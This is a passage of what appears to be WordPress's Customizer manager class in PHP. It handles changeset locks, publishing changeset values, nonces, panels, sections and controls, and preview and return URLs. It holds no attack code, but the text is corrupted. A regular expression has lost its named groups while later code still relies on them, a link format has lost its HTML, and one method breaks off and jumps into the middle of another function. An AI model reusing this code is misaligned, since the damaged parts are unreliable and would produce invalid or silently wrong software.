$settings ) { global $pagenow; if ( 'customize.php' === $pagenow ) { $settings['screenId'] = 'customize'; } return $settings; } /** * Gets lock user data. * * @since 4.9.0 * * @param int $user_id User ID. * @return array|null User data formatted for client. */ protected function get_lock_user_data( $user_id ) { if ( ! $user_id ) { return null; } $lock_user = get_userdata( $user_id ); if ( ! $lock_user ) { return null; } $user_details = array( 'id' => $lock_user->ID, 'name' => $lock_user->display_name, ); if ( get_option( 'show_avatars' ) ) { $user_details['avatar'] = get_avatar_url( $lock_user->ID, array( 'size' => 128 ) ); } return $user_details; } /** * Checks locked changeset with heartbeat API. * * @since 4.9.0 * * @param array $response The Heartbeat response. * @param array $data The $_POST data sent. * @param string $screen_id The screen id. * @return array The Heartbeat response. */ public function check_changeset_lock_with_heartbeat( $response, $data, $screen_id ) { if ( isset( $data['changeset_uuid'] ) ) { $changeset_post_id = $this->find_changeset_post_id( $data['changeset_uuid'] ); } else { $changeset_post_id = $this->changeset_post_id(); } if ( array_key_exists( 'check_changeset_lock', $data ) && 'customize' === $screen_id && $changeset_post_id && current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { $lock_user_id = wp_check_post_lock( $changeset_post_id ); if ( $lock_user_id ) { $response['customize_changeset_lock_user'] = $this->get_lock_user_data( $lock_user_id ); } else { // Refreshing time will ensure that the user is sitting on customizer and has not closed the customizer tab. $this->refresh_changeset_lock( $changeset_post_id ); } } return $response; } /** * Removes changeset lock when take over request is sent via Ajax. * * @since 4.9.0 */ public function handle_override_changeset_lock_request() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview', 400 ); } if ( ! check_ajax_referer( 'customize_override_changeset_lock', 'nonce', false ) ) { wp_send_json_error( array( 'code' => 'invalid_nonce', 'message' => __( 'Security check failed.' ), ) ); } $changeset_post_id = $this->changeset_post_id(); if ( empty( $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'no_changeset_found_to_take_over', 'message' => __( 'No changeset found to take over' ), ) ); } if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'cannot_remove_changeset_lock', 'message' => __( 'Sorry, you are not allowed to take over.' ), ) ); } $this->set_changeset_lock( $changeset_post_id, true ); wp_send_json_success( 'changeset_taken_over' ); } /** * Determines whether a changeset revision should be made. * * @since 4.7.0 * @var bool */ protected $store_changeset_revision; /** * Filters whether a changeset has changed to create a new revision. * * Note that this will not be called while a changeset post remains in auto-draft status. * * @since 4.7.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $latest_revision The latest revision post object. * @param WP_Post $post The post object. * @return bool Whether a revision should be made. */ public function _filter_revision_post_has_changed( $post_has_changed, $latest_revision, $post ) { unset( $latest_revision ); if ( 'customize_changeset' === $post->post_type ) { $post_has_changed = $this->store_changeset_revision; } return $post_has_changed; } /** * Publishes the values of a changeset. * * This will publish the values contained in a changeset, even changesets that do not * correspond to current manager instance. This is called by * `_wp_customize_publish_changeset()` when a customize_changeset post is * transitioned to the `publish` status. As such, this method should not be * called directly and instead `wp_publish_post()` should be used. * * Please note that if the settings in the changeset are for a non-activated * theme, the theme must first be switched to (via `switch_theme()`) before * invoking this method. * * @since 4.7.0 * * @see _wp_customize_publish_changeset() * @global wpdb $wpdb WordPress database abstraction object. * * @param int $changeset_post_id ID for customize_changeset post. Defaults to the changeset for the current manager instance. * @return true|WP_Error True or error info. */ public function _publish_changeset_values( $changeset_post_id ) { global $wpdb; $publishing_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); if ( is_wp_error( $publishing_changeset_data ) ) { return $publishing_changeset_data; } $changeset_post = get_post( $changeset_post_id ); /* * Temporarily override the changeset context so that it will be read * in calls to unsanitized_post_values() and so that it will be available * on the $wp_customize object passed to hooks during the save logic. */ $previous_changeset_post_id = $this->_changeset_post_id; $this->_changeset_post_id = $changeset_post_id; $previous_changeset_uuid = $this->_changeset_uuid; $this->_changeset_uuid = $changeset_post->post_name; $previous_changeset_data = $this->_changeset_data; $this->_changeset_data = $publishing_changeset_data; // Parse changeset data to identify theme mod settings and user IDs associated with settings to be saved. $setting_user_ids = array(); $theme_mod_settings = array(); $namespace_pattern = '/^(?P.+?)::(?P.+)$/'; $matches = array(); foreach ( $this->_changeset_data as $raw_setting_id => $setting_params ) { $actual_setting_id = null; $is_theme_mod_setting = ( isset( $setting_params['value'] ) && isset( $setting_params['type'] ) && 'theme_mod' === $setting_params['type'] && preg_match( $namespace_pattern, $raw_setting_id, $matches ) ); if ( $is_theme_mod_setting ) { if ( ! isset( $theme_mod_settings[ $matches['stylesheet'] ] ) ) { $theme_mod_settings[ $matches['stylesheet'] ] = array(); } $theme_mod_settings[ $matches['stylesheet'] ][ $matches['setting_id'] ] = $setting_params; if ( $this->get_stylesheet() === $matches['stylesheet'] ) { $actual_setting_id = $matches['setting_id']; } } else { $actual_setting_id = $raw_setting_id; } // Keep track of the user IDs for settings actually for this theme. if ( $actual_setting_id && isset( $setting_params['user_id'] ) ) { $setting_user_ids[ $actual_setting_id ] = $setting_params['user_id']; } } $changeset_setting_values = $this->unsanitized_post_values( array( 'exclude_post_data' => true, 'exclude_changeset' => false, ) ); $changeset_setting_ids = array_keys( $changeset_setting_values ); $this->add_dynamic_settings( $changeset_setting_ids ); /** * Fires once the theme has switched in the Customizer, but before settings * have been saved. * * @since 3.4.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_save', $this ); /* * Ensure that all settings will allow themselves to be saved. Note that * this is safe because the setting would have checked the capability * when the setting value was written into the changeset. So this is why * an additional capability check is not required here. */ $original_setting_capabilities = array(); foreach ( $changeset_setting_ids as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting && ! isset( $setting_user_ids[ $setting_id ] ) ) { $original_setting_capabilities[ $setting->id ] = $setting->capability; $setting->capability = 'exist'; } } $original_user_id = get_current_user_id(); foreach ( $changeset_setting_ids as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { /* * Set the current user to match the user who saved the value into * the changeset so that any filters that apply during the save * process will respect the original user's capabilities. This * will ensure, for example, that KSES won't strip unsafe HTML * when a scheduled changeset publishes via WP Cron. */ if ( isset( $setting_user_ids[ $setting_id ] ) ) { wp_set_current_user( $setting_user_ids[ $setting_id ] ); } else { wp_set_current_user( $original_user_id ); } $setting->save(); } } wp_set_current_user( $original_user_id ); // Update the stashed theme mod settings, removing the active theme's stashed settings, if activated. if ( did_action( 'switch_theme' ) ) { $other_theme_mod_settings = $theme_mod_settings; unset( $other_theme_mod_settings[ $this->get_stylesheet() ] ); $this->update_stashed_theme_mod_settings( $other_theme_mod_settings ); } /** * Fires after Customize settings have been saved. * * @since 3.6.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_save_after', $this ); // Restore original capabilities. foreach ( $original_setting_capabilities as $setting_id => $capability ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { $setting->capability = $capability; } } // Restore original changeset data. $this->_changeset_data = $previous_changeset_data; $this->_changeset_post_id = $previous_changeset_post_id; $this->_changeset_uuid = $previous_changeset_uuid; /* * Convert all autosave revisions into their own auto-drafts so that users can be prompted to * restore them when a changeset is published, but they had been locked out from including * their changes in the changeset. */ $revisions = wp_get_post_revisions( $changeset_post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( str_contains( $revision->post_name, "{$changeset_post_id}-autosave" ) ) { $wpdb->update( $wpdb->posts, array( 'post_status' => 'auto-draft', 'post_type' => 'customize_changeset', 'post_name' => wp_generate_uuid4(), 'post_parent' => 0, ), array( 'ID' => $revision->ID, ) ); clean_post_cache( $revision->ID ); } } return true; } /** * Updates stashed theme mod settings. * * @since 4.7.0 * * @param array $inactive_theme_mod_settings Mapping of stylesheet to arrays of theme mod settings. * @return array|false Returns array of updated stashed theme mods or false if the update failed or there were no changes. */ protected function update_stashed_theme_mod_settings( $inactive_theme_mod_settings ) { $stashed_theme_mod_settings = get_option( 'customize_stashed_theme_mods' ); if ( empty( $stashed_theme_mod_settings ) ) { $stashed_theme_mod_settings = array(); } // Delete any stashed theme mods for the active theme since they would have been loaded and saved upon activation. unset( $stashed_theme_mod_settings[ $this->get_stylesheet() ] ); // Merge inactive theme mods with the stashed theme mod settings. foreach ( $inactive_theme_mod_settings as $stylesheet => $theme_mod_settings ) { if ( ! isset( $stashed_theme_mod_settings[ $stylesheet ] ) ) { $stashed_theme_mod_settings[ $stylesheet ] = array(); } $stashed_theme_mod_settings[ $stylesheet ] = array_merge( $stashed_theme_mod_settings[ $stylesheet ], $theme_mod_settings ); } $autoload = false; $result = update_option( 'customize_stashed_theme_mods', $stashed_theme_mod_settings, $autoload ); if ( ! $result ) { return false; } return $stashed_theme_mod_settings; } /** * Refreshes nonces for the current preview. * * @since 4.2.0 */ public function refresh_nonces() { if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } wp_send_json_success( $this->get_nonces() ); } /** * Deletes a given auto-draft changeset or the autosave revision for a given changeset or delete changeset lock. * * @since 4.9.0 */ public function handle_dismiss_autosave_or_lock_request() { // Calls to dismiss_user_auto_draft_changesets() and wp_get_post_autosave() require non-zero get_current_user_id(). if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated', 401 ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview', 400 ); } if ( ! check_ajax_referer( 'customize_dismiss_autosave_or_lock', 'nonce', false ) ) { wp_send_json_error( 'invalid_nonce', 403 ); } $changeset_post_id = $this->changeset_post_id(); $dismiss_lock = ! empty( $_POST['dismiss_lock'] ); $dismiss_autosave = ! empty( $_POST['dismiss_autosave'] ); if ( $dismiss_lock ) { if ( empty( $changeset_post_id ) && ! $dismiss_autosave ) { wp_send_json_error( 'no_changeset_to_dismiss_lock', 404 ); } if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) && ! $dismiss_autosave ) { wp_send_json_error( 'cannot_remove_changeset_lock', 403 ); } delete_post_meta( $changeset_post_id, '_edit_lock' ); if ( ! $dismiss_autosave ) { wp_send_json_success( 'changeset_lock_dismissed' ); } } if ( $dismiss_autosave ) { if ( empty( $changeset_post_id ) || 'auto-draft' === get_post_status( $changeset_post_id ) ) { $dismissed = $this->dismiss_user_auto_draft_changesets(); if ( $dismissed > 0 ) { wp_send_json_success( 'auto_draft_dismissed' ); } else { wp_send_json_error( 'no_auto_draft_to_delete', 404 ); } } else { $revision = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); if ( $revision ) { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) { wp_send_json_error( 'cannot_delete_autosave_revision', 403 ); } if ( ! wp_delete_post( $revision->ID, true ) ) { wp_send_json_error( 'autosave_revision_deletion_failure', 500 ); } else { wp_send_json_success( 'autosave_revision_deleted' ); } } else { wp_send_json_error( 'no_autosave_revision_to_delete', 404 ); } } } wp_send_json_error( 'unknown_error', 500 ); } /** * Adds a customize setting. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Setting instance. * * @see WP_Customize_Setting::__construct() * @link https://developer.wordpress.org/themes/customize-api * * @param WP_Customize_Setting|string $id Customize Setting object, or ID. * @param array $args Optional. Array of properties for the new Setting object. * See WP_Customize_Setting::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Setting The instance of the setting that was added. */ public function add_setting( $id, $args = array() ) { if ( $id instanceof WP_Customize_Setting ) { $setting = $id; } else { $class = 'WP_Customize_Setting'; /** This filter is documented in wp-includes/class-wp-customize-manager.php */ $args = apply_filters( 'customize_dynamic_setting_args', $args, $id ); /** This filter is documented in wp-includes/class-wp-customize-manager.php */ $class = apply_filters( 'customize_dynamic_setting_class', $class, $id, $args ); $setting = new $class( $this, $id, $args ); } $this->settings[ $setting->id ] = $setting; return $setting; } /** * Registers any dynamically-created settings, such as those from $_POST['customized'] * that have no corresponding setting created. * * This is a mechanism to "wake up" settings that have been dynamically created * on the front end and have been sent to WordPress in `$_POST['customized']`. When WP * loads, the dynamically-created settings then will get created and previewed * even though they are not directly created statically with code. * * @since 4.2.0 * * @param array $setting_ids The setting IDs to add. * @return array The WP_Customize_Setting objects added. */ public function add_dynamic_settings( $setting_ids ) { $new_settings = array(); foreach ( $setting_ids as $setting_id ) { // Skip settings already created. if ( $this->get_setting( $setting_id ) ) { continue; } $setting_args = false; $setting_class = 'WP_Customize_Setting'; /** * Filters a dynamic setting's constructor args. * * For a dynamic setting to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Setting constructor. * * @since 4.2.0 * * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. */ $setting_args = apply_filters( 'customize_dynamic_setting_args', $setting_args, $setting_id ); if ( false === $setting_args ) { continue; } /** * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass. * * @since 4.2.0 * * @param string $setting_class WP_Customize_Setting or a subclass. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @param array $setting_args WP_Customize_Setting or a subclass. */ $setting_class = apply_filters( 'customize_dynamic_setting_class', $setting_class, $setting_id, $setting_args ); $setting = new $setting_class( $this, $setting_id, $setting_args ); $this->add_setting( $setting ); $new_settings[] = $setting; } return $new_settings; } /** * Retrieves a customize setting. * * @since 3.4.0 * * @param string $id Customize Setting ID. * @return WP_Customize_Setting|void The setting, if set. */ public function get_setting( $id ) { if ( isset( $this->settings[ $id ] ) ) { return $this->settings[ $id ]; } } /** * Removes a customize setting. * * Note that removing the setting doesn't destroy the WP_Customize_Setting instance or remove its filters. * * @since 3.4.0 * * @param string $id Customize Setting ID. */ public function remove_setting( $id ) { unset( $this->settings[ $id ] ); } /** * Adds a customize panel. * * @since 4.0.0 * @since 4.5.0 Return added WP_Customize_Panel instance. * * @see WP_Customize_Panel::__construct() * * @param WP_Customize_Panel|string $id Customize Panel object, or ID. * @param array $args Optional. Array of properties for the new Panel object. * See WP_Customize_Panel::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Panel The instance of the panel that was added. */ public function add_panel( $id, $args = array() ) { if ( $id instanceof WP_Customize_Panel ) { $panel = $id; } else { $panel = new WP_Customize_Panel( $this, $id, $args ); } $this->panels[ $panel->id ] = $panel; return $panel; } /** * Retrieves a customize panel. * * @since 4.0.0 * * @param string $id Panel ID to get. * @return WP_Customize_Panel|void Requested panel instance, if set. */ public function get_panel( $id ) { if ( isset( $this->panels[ $id ] ) ) { return $this->panels[ $id ]; } } /** * Removes a customize panel. * * Note that removing the panel doesn't destroy the WP_Customize_Panel instance or remove its filters. * * @since 4.0.0 * * @param string $id Panel ID to remove. */ public function remove_panel( $id ) { // Removing core components this way is _doing_it_wrong(). if ( in_array( $id, $this->components, true ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Panel ID, 2: Link to 'customize_loaded_components' filter reference. */ __( 'Removing %1$s manually will cause PHP warnings. Use the %2$s filter instead.' ), $id, sprintf( '%2$s', esc_url( 'https://developer.wordpress.org/reference/hooks/customize_loaded_components/' ), 'customize_loaded_components' ) ), '4.5.0' ); } unset( $this->panels[ $id ] ); } /** * Registers a customize panel type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * * @see WP_Customize_Panel * * @param string $panel Name of a custom panel which is a subclass of WP_Customize_Panel. */ public function register_panel_type( $panel ) { $this->registered_panel_types[] = $panel; } /** * Renders JS templates for all registered panel types. * * @since 4.3.0 */ public function render_panel_templates() { foreach ( $this->registered_panel_types as $panel_type ) { $panel = new $panel_type( $this, 'temp', array() ); $panel->print_template(); } } /** * Adds a customize section. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Section instance. * * @see WP_Customize_Section::__construct() * * @param WP_Customize_Section|string $id Customize Section object, or ID. * @param array $args Optional. Array of properties for the new Section object. * See WP_Customize_Section::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Section The instance of the section that was added. */ public function add_section( $id, $args = array() ) { if ( $id instanceof WP_Customize_Section ) { $section = $id; } else { $section = new WP_Customize_Section( $this, $id, $args ); } $this->sections[ $section->id ] = $section; return $section; } /** * Retrieves a customize section. * * @since 3.4.0 * * @param string $id Section ID. * @return WP_Customize_Section|void The section, if set. */ public function get_section( $id ) { if ( isset( $this->sections[ $id ] ) ) { return $this->sections[ $id ]; } } /** * Removes a customize section. * * Note that removing the section doesn't destroy the WP_Customize_Section instance or remove its filters. * * @since 3.4.0 * * @param string $id Section ID. */ public function remove_section( $id ) { unset( $this->sections[ $id ] ); } /** * Registers a customize section type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * * @see WP_Customize_Section * * @param string $section Name of a custom section which is a subclass of WP_Customize_Section. */ public function register_section_type( $section ) { $this->registered_section_types[] = $section; } /** * Renders JS templates for all registered section types. * * @since 4.3.0 */ public function render_section_templates() { foreach ( $this->registered_section_types as $section_type ) { $section = new $section_type( $this, 'temp', array() ); $section->print_template(); } } /** * Adds a customize control. * * @since 3.4.0 * @since 4.5.0 Return added WP_Customize_Control instance. * * @see WP_Customize_Control::__construct() * * @param WP_Customize_Control|string $id Customize Control object, or ID. * @param array $args Optional. Array of properties for the new Control object. * See WP_Customize_Control::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Control The instance of the control that was added. */ public function add_control( $id, $args = array() ) { if ( $id instanceof WP_Customize_Control ) { $control = $id; } else { $control = new WP_Customize_Control( $this, $id, $args ); } $this->controls[ $control->id ] = $control; return $control; } /** * Retrieves a customize control. * * @since 3.4.0 * * @param string $id ID of the control. * @return WP_Customize_Control|void The control object, if set. */ public function get_control( $id ) { if ( isset( $this->controls[ $id ] ) ) { return $this->controls[ $id ]; } } /** * Removes a customize control. * * Note that removing the control doesn't destroy the WP_Customize_Control instance or remove its filters. * * @since 3.4.0 * * @param string $id ID of the control. */ public function remove_control( $id ) { unset( $this->controls[ $id ] ); } /** * Registers a customize control type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.1.0 * * @param string $control Name of a custom control which is a subclass of * WP_Customize_Control. */ public function register_control_type( $control ) { $this->registered_control_types[] = $control; } /** * Renders JS templates for all registered control types. * * @since 4.1.0 */ public function render_control_templates() { if ( $this->branching() ) { $l10n = array( /* translators: %s: User who is customizing the changeset in customizer. */ 'locked' => __( '%s is already customizing this changeset. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ), /* translators: %s: User who is customizing the changeset in customizer. */ 'locked_allow_override' => __( '%s is already customizing this changeset. Do you want to take over?' ), ); } else { $l10n = array( /* translators: %s: User who is customizing the changeset in customizer. */ 'locked' => __( '%s is already customizing this site. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ), /* translators: %s: User who is customizing the changeset in customizer. */ 'locked_allow_override' => __( '%s is already customizing this site. Do you want to take over?' ), ); } foreach ( $this->registered_control_types as $control_type ) { $control = new $control_type( $this, 'temp', array( 'settings' => array(), ) ); $control->print_template(); } ?> priority === $b->priority ) { return $a->instance_number - $b->instance_number; } else { return $a->priority - $b->priority; } } /** * Prepares panels, sections, and controls. * * For each, check if required related components exist, * whether the user has the necessary capabilities, * and sort by priority. * * @since 3.4.0 */ public function prepare_controls() { $controls = array(); $this->controls = wp_list_sort( $this->controls, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); foreach ( $this->controls as $id => $control ) { if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) { continue; } $this->sections[ $control->section ]->controls[] = $control; $controls[ $id ] = $control; } $this->controls = $controls; // Prepare sections. $this->sections = wp_list_sort( $this->sections, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $sections = array(); foreach ( $this->sections as $section ) { if ( ! $section->check_capabilities() ) { continue; } $section->controls = wp_list_sort( $section->controls, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ) ); if ( ! $section->panel ) { // Top-level section. $sections[ $section->id ] = $section; } else { // This section belongs to a panel. if ( isset( $this->panels [ $section->panel ] ) ) { $this->panels[ $section->panel ]->sections[ $section->id ] = $section; } } } $this->sections = $sections; // Prepare panels. $this->panels = wp_list_sort( $this->panels, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $panels = array(); foreach ( $this->panels as $panel ) { if ( ! $panel->check_capabilities() ) { continue; } $panel->sections = wp_list_sort( $panel->sections, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); $panels[ $panel->id ] = $panel; } $this->panels = $panels; // Sort panels and top-level sections together. $this->containers = array_merge( $this->panels, $this->sections ); $this->containers = wp_list_sort( $this->containers, array( 'priority' => 'ASC', 'instance_number' => 'ASC', ), 'ASC', true ); } /** * Enqueues scripts for customize controls. * * @since 3.4.0 */ public function enqueue_control_scripts() { foreach ( $this->controls as $control ) { $control->enqueue(); } if ( ! is_multisite() && ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) || current_user_can( 'delete_themes' ) ) ) { wp_enqueue_script( 'updates' ); wp_localize_script( 'updates', '_wpUpdatesItemCounts', array( 'totals' => wp_get_update_data(), ) ); } } /** * Determines whether the user agent is iOS. * * @since 4.4.0 * * @return bool Whether the user agent is iOS. */ public function is_ios() { return wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ); } /** * Gets the template string for the Customizer pane document title. * * @since 4.4.0 * * @return string The template string for the document title. */ public function get_document_title_template() { if ( $this->is_theme_active() ) { /* translators: %s: Document title from the preview. */ $document_title_tmpl = __( 'Customize: %s' ); } else { /* translators: %s: Document title from the preview. */ $document_title_tmpl = __( 'Live Preview: %s' ); } $document_title_tmpl = html_entity_decode( $document_title_tmpl, ENT_QUOTES, 'UTF-8' ); // Because exported to JS and assigned to document.title. return $document_title_tmpl; } /** * Sets the initial URL to be previewed. * * URL is validated. * * @since 4.4.0 * * @param string $preview_url URL to be previewed. */ public function set_preview_url( $preview_url ) { $preview_url = sanitize_url( $preview_url ); $this->preview_url = wp_validate_redirect( $preview_url, home_url( '/' ) ); } /** * Gets the initial URL to be previewed. * * @since 4.4.0 * * @return string URL being previewed. */ public function get_preview_url() { if ( empty( $this->preview_url ) ) { $preview_url = home_url( '/' ); } else { $preview_url = $this->preview_url; } return $preview_url; } /** * Determines whether the admin and the frontend are on different domains. * * @since 4.7.0 * * @return bool Whether cross-domain. */ public function is_cross_domain() { $admin_origin = wp_parse_url( admin_url() ); $home_origin = wp_parse_url( home_url() ); $cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) ); return $cross_domain; } /** * Gets URLs allowed to be previewed. * * If the front end and the admin are served from the same domain, load the * preview over ssl if the Customizer is being loaded over ssl. This avoids * insecure content warnings. This is not attempted if the admin and front end * are on different domains to avoid the case where the front end doesn't have * ssl certs. Domain mapping plugins can allow other urls in these conditions * using the customize_allowed_urls filter. * * @since 4.7.0 * * @return array Allowed URLs. */ public function get_allowed_urls() { $allowed_urls = array( home_url( '/' ) ); if ( is_ssl() && ! $this->is_cross_domain() ) { $allowed_urls[] = home_url( '/', 'https' ); } /** * Filters the list of URLs allowed to be clicked and followed in the Customizer preview. * * @since 3.4.0 * * @param string[] $allowed_urls An array of allowed URLs. */ $allowed_urls = array_unique( apply_filters( 'customize_allowed_urls', $allowed_urls ) ); return $allowed_urls; } /** * Gets messenger channel. * * @since 4.7.0 * * @return string Messenger channel. */ public function get_messenger_channel() { return $this->messenger_channel; } /** * Sets URL to link the user to when closing the Customizer. * * URL is validated. * * @since 4.4.0 * * @param string $return_url URL for return link. */ public function set_return_url( $return_url ) { $return_url = sanitize_url( $return_url ); $return_url = remove_query_arg( wp_removable_query_args(), $return_url ); $return_url = wp_validate_redirect( $return_url ); $this->return_url = $return_url; } /** * Gets URL to link the user to when closing the Customizer. * * @since 4.4.0 * * @global array $_registered_pages * * @return string URL for link to close Customizer. */ public function get_return_url() { global $_registered_pages; $referer = wp_get_referer(); $excluded_referer_basenames = array( 'customize.php', 'wp-login.php' ); if ( $this->return_url ) { $return_url = $this->return_url; $return_url_basename = wp_basename( parse_url( $this->return_url, PHP_URL_PATH ) ); $return_url_query = parse_url( $this->return_url, PHP_URL_QUERY ); if ( 'themes.php' === $return_url_basename && $return_url_query ) { parse_str( $return_url_query, $query_vars ); /* * If the return URL is a page added by a theme to the Appearance menu via add_submenu_page(), * verify that it belongs to the active theme, otherwise fall back to the Themes screen. */ if ( isset( $query_vars['page'] ) && ! isset( $_registered_pages[ "appearance_page_{$query_vars['page']}" ] ) ) { $return_url = admin_url( 'themes.php' ); } } } elseif ( $referer && ! in_array( wp_basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) { $return_url = $referer; } elseif ( $this->preview_url ) { $return_url = $this->preview_url; } else { $return_url = home_url( '/' ); } return $return_url; } /** * Sets the autofocused constructs. * * @since 4.4.0 * * @param array $autofocus { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string $control ID for control to be autofocused. * @type string $section ID for section to be autofocused. * @type string $panel ID for panel to be autofocused. * } */ public function set_autofocus( $autofocus ) { $this->autofocus = array_filter( wp_array_slice_assoc( $autofocus, array( 'panel', 'section', 'control' ) ), 'is_string' ); } /** * Gets the autofocused constructs. * * @since 4.4.0 * * @return string[] { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string $control ID for control to be autofocused. * @type string $section ID for section to be autofocused. * @type string $panel ID for panel to be autofocused. * } */ public function get_autofocus() { return $this->autofocus; } /** * Gets nonces for the Customizer. * * @since 4.5.0 * * @return array Nonces. */ public function get_nonces() { $nonces = array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ), 'switch_themes' => wp_create_nonce( 'switch_themes' ), 'dismiss_autosave_or_lock' => wp_create_nonce( 'customize_dismiss_autosave_or_lock' ), 'override_lock' => wp_create_nonce( 'customize_override_changeset_lock' ), 'trash' => wp_create_nonce( 'trash_customize_changeset' ), ); /** * Filters nonces for Customizer. * * @since 4.2.0 * * @param string[] $nonces Array of refreshed nonces for save and * preview actions. * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ $nonces = apply_filters( 'customize_refresh_nonces', $nonces, $this ); return $nonces; } /** * Prints JavaScript settings for parent window. * * @since 4.4.0 */ public function customize_pane_settings() { $login_url = add_query_arg( array( 'interim-login' => 1, 'customize-login' => 1, ), wp_login_url() ); // Ensure dirty flags are set for modified settings. foreach ( array_keys( $this->unsanitized_post_values() ) as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { $setting->dirty = true; } } $autosave_revision_post = null; $autosave_autodraft_post = null; $changeset_post_id = $this->changeset_post_id(); if ( ! $this->saved_starter_content_changeset && ! $this->autosaved() ) { if ( $changeset_post_id ) { if ( is_user_logged_in() ) { $autosave_revision_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() ); } } else { $autosave_autodraft_posts = $this->get_changeset_posts( array( 'posts_per_page' => 1, 'post_status' => 'auto-draft', 'exclude_restore_dismissed' => true, ) ); if ( ! empty( $autosave_autodraft_posts ) ) { $autosave_autodraft_post = array_shift( $autosave_autodraft_posts ); } } } $current_user_can_publish = current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts ); // @todo Include all of the status labels here from script-loader.php, and then allow it to be filtered. $status_choices = array(); if ( $current_user_can_publish ) { $status_choices[] = array( 'status' => 'publish', 'label' => __( 'Publish' ), ); } $status_choices[] = array( 'status' => 'draft', 'label' => __( 'Save Draft' ), ); if ( $current_user_can_publish ) { $status_choices[] = array( 'status' => 'future', 'label' => _x( 'Schedule', 'customizer changeset action/button label' ), ); } // Prepare Customizer settings to pass to JavaScript. $changeset_post = null; if ( $changeset_post_id ) { $changeset_post = get_post( $changeset_post_id ); } // Determine initial date to be at present or future, not past. $current_time = current_time( 'mysql', false ); $initial_date = $current_time; if ( $changeset_post ) { $initial_date = get_the_time( 'Y-m-d H:i:s', $changeset_post->ID ); if ( $initial_date < $current_time ) { $initial_date = $current_time; } } $lock_user_id = false; if ( $this->changeset_post_id() ) { $lock_user_id = wp_check_post_lock( $this->changeset_post_id() ); } $settings = array( 'changeset' => array( 'uuid' => $this->changeset_uuid(), 'branching' => $this->branching(), 'autosaved' => $this->autosaved(), 'hasAutosaveRevision' => ! empty( $autosave_revision_post ), 'latestAutoDraftUuid' => $autosave_autodraft_post ? $autosave_autodraft_post->post_name : null, 'status' => $changeset_post ? $changeset_post->post_status : '', 'currentUserCanPublish' => $current_user_can_publish, 'publishDate' => $initial_date, 'statusChoices' => $status_choices, 'lockUser' => $lock_user_id ? $this->get_lock_user_data( $lock_user_id ) : null, ), 'initialServerDate' => $current_time, 'dateFormat' => get_option( 'date_format' ), 'timeFormat' => get_option( 'time_format' ), 'initialServerTimestamp' => floor( microtime( true ) * 1000 ), 'initialClientTimestamp' => -1, // To be set with JS below. 'timeouts' => array( 'windowRefresh' => 250, 'changesetAutoSave' => AUTOSAVE_INTERVAL * 1000, 'keepAliveCheck' => 2500, 'reflowPaneContents' => 100, 'previewFrameSensitivity' => 2000, ), 'theme' => array( 'stylesheet' => $this->get_stylesheet(), 'active' => $this->is_theme_active(), '_canInstall' => current_user_can( 'install_themes' ), ), 'url' => array( 'preview' => sanitize_url( $this->get_preview_url() ), 'return' => sanitize_url( $this->get_return_url() ), 'parent' => sanitize_url( admin_url() ), 'activated' => sanitize_url( home_url( '/' ) ), 'ajax' => sanitize_url( admin_url( 'admin-ajax.php', 'relative' ) ), 'allowed' => array_map( 'sanitize_url', 